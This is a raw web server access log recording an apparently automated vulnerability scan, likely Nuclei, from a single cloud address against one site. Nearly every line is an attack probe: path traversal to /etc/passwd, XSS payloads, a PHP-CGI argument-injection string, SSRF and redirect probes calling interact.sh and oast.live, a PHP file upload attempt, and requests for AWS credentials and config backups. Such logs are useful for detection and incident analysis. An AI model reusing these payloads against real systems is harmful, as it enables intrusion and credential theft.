[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/security/ticket HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tcp.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.;%0aa.css?path=/etc&p.hits=full&p.limit=-1 HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arcgis/tokens/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crowd/console/login.action HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atlassian-connect.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.save HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 226
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsettings.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Attitude/go.php?https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apps HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gotoURL.asp?url=interact.sh&id=43569 HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///system///console///bundles HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phy.htm HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.appveyor.yml HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/ HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] ec2-3-1-128-83.ap-southeast-1.compute.amazonaws.com TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-status HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ywzpA8oE%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forums/search/z--%3E%22%3E%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aims/ps/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/common/login/webLogin HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /org_execl_download.action?filename=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/avchat-3/index_popup.php?movie_param=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&FB_appId=FB_appId%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apc.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.action?filename=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /PhoneBackup/380DIM2mi5Qmk2zb4p2tdK5Kisb.php HTTP/1.1" 220
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /network-login/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cfg/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Machine.cgi?action=get_capability HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/Search.cgi?action=scan HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.aws/config HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgibox?.cab HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46bGludXgzMjE=&login=quick HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/htmlmgr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.aws/credentials HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/data HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_dashboards/app/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/elaborate/index.html?reloaded&sort=date_desc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.axiom/accounts/do.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats.pl HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/metadata HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/skin/ric/C/config/default.config.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/settings HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis2/axis2-web/HappyAxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.azure-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /azuredeploy.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.png HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /behat.yml HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.badarg.log HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /angular.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /acs/..;/admin/public/login.jsp?error=%3Cscript%3Ealert(document.domain)%3C/script%3e HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download.php?file=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_framework/blazor.boot.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin%20/db HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.* HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/install HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/operator/fileread?READ.filePath=/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PhoneBackup/380DIM2mi5Qmk2zb4p2tdK5Kisb.php HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ywzpA8oE%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appsettings.Production.json HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /arsys/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e HTTP/1.1" 199
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v0.1/ HTTP/1.1" 196
[09/Jan/2026:10:54:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /repos?visibility=public HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /axis/happyaxis.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /azure-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/tasks HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats.pl HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/3 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/Home/login/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /archibus/login.axvw HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso&DESC=0 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlpserver/services/XMLPService HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /miscadmin HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login?login[password]=380DIIGbrrDIMxbbgDN3aH2UkTB%22%3E%3Csvg/onload=alert(document.domain)%3E&login[use_curr]=1&login[submit]=Change%20Password HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /net/net/net.html HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /speedtest?url=d5g6to2hausk1oj0j65guknwgotaugor6.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminlogin HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/administrator/images/componentutilslogin.jpg HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bower.json HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitbucket-pipelines.yml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats.conf HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appveyor.yml HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgibox?/nobody HTTP/1.1" 199
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bun.lockb HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/acs-commons/oak-index-manager.html HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /well-known/apple-app-site-association HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebConsole/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bolt/login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //lists/text-tiles/index.html?reloaded&sort=date_asc&page=2\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/querybuilder.json.css?path=/home&p.hits=full&p.limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php%00 HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin/ HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listconf?command=conf HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/showLogon.do HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///bin///querybuilder.json HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /babel.config.js HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:54:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /build.properties HTTP/1.1" 196
